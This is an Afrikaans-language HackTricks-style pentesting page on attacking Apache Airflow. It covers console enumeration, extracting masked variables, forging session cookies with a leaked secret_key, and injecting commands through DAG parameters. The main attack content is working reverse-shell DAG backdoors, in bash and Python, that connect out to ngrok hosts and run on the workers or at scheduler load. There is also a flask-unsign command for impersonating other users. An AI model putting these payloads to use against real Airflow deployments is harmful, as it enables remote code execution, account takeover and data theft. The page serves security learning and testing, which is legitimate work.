# Apache Airflow Sekuriteit

{{#include ../../banners/hacktricks-training.md}}

### Basiese Inligting

[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.

Basies, Apache Airflow sal jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.

### Plaaslike Laboratorium

#### Docker-Compose

Jy kan die **docker-compose konfigurasie lêer van** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) gebruik om 'n volledige apache airflow docker omgewing te begin. (As jy op MacOS is, maak seker jy gee ten minste 6GB RAM aan die docker VM).

#### Minikube

Een maklike manier om **apache airflow** te **hardloop is om dit met minikube** te hardloop:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release
```
### Airflow Konfigurasie

Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies vind:

{{#ref}}
airflow-configuration.md
{{#endref}}

### Airflow RBAC

Voordat jy begin om Airflow aan te val, moet jy verstaan **hoe toestemmings werk**:

{{#ref}}
airflow-rbac.md
{{#endref}}

### Aanvalle

#### Web Konsol Enumerasie

As jy **toegang tot die webkonsol** het, mag jy in staat wees om sommige of al die volgende inligting te bekom:

- **Veranderlikes** (Pasgemaakte sensitiewe inligting mag hier gestoor word)
- **Verbindings** (Pasgemaakte sensitiewe inligting mag hier gestoor word)
- Toegang tot hulle in `http://<airflow>/connection/list/`
- [**Konfigurasie**](./#airflow-configuration) (Sensitiewe inligting soos die **`secret_key`** en wagwoorde mag hier gestoor word)
- Lys **gebruikers & rolle**
- **Kode van elke DAG** (wat interessante inligting mag bevat)

#### Herwin Veranderlikes Waardes

Veranderlikes kan in Airflow gestoor word sodat die **DAGs** hul waardes kan **toegang**. Dit is soortgelyk aan geheime van ander platforms. As jy **genoeg toestemmings** het, kan jy hulle in die GUI in `http://<airflow>/variable/list/` toegang.\
Airflow sal standaard die waarde van die veranderlike in die GUI wys, egter, volgens [**hierdie**](https://marclamberti.com/blog/variables-with-apache-airflow/) is dit moontlik om 'n **lys van veranderlikes** in te stel waarvan die **waarde** as **sterretjies** in die **GUI** sal verskyn.

![](<../../images/image (164).png>)

Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI!**\
Om toegang tot daardie waardes vanaf die GUI te verkry, kies net die **veranderlikes** wat jy wil toegang en **klik op Aksies -> Eksporteer**.\
'n Ander manier is om 'n **bruteforce** op die **verborge waarde** uit te voer deur die **soekfilter** totdat jy dit kry:

![](<../../images/image (152).png>)

#### Privilege Escalation

As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie ondertekende koekie skep om enige ander gebruikersrekening na te volg**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Agterdeur (RCE in Airflow werker)

As jy **skrywe toegang** het tot die plek waar die **DAGs gestoor word**, kan jy eenvoudig **een skep** wat vir jou 'n **omgekeerde skulp** sal stuur.\
Let daarop dat hierdie omgekeerde skulp binne 'n **airflow werker houer** uitgevoer gaan word:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
```

```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE in Airflow scheduler)

As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduler uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG Skepping

As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAGs-skrifte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.

#### DAG Kode Inspuiting

Wanneer jy 'n DAG vanaf die GUI uitvoer, kan jy **argumente** aan dit **oorgee**.\
Daarom, as die DAG nie behoorlik gekodeer is nie, kan dit **kwulnerabel wees vir Opdrag Inspuiting.**\
Dit is wat in hierdie CVE gebeur het: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)

Alles wat jy moet weet om **te begin soek na opdrag inspuitings in DAGs** is dat **parameters** met die kode **`dag_run.conf.get("param_name")`** **toegang verkry**.

Boonop kan dieselfde kwesbaarheid met **veranderlikes** voorkom (let daarop dat jy met genoeg regte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
As hulle byvoorbeeld binne 'n bash-opdrag gebruik word, kan jy 'n opdraginjeksie uitvoer.

{{#include ../../banners/hacktricks-training.md}}
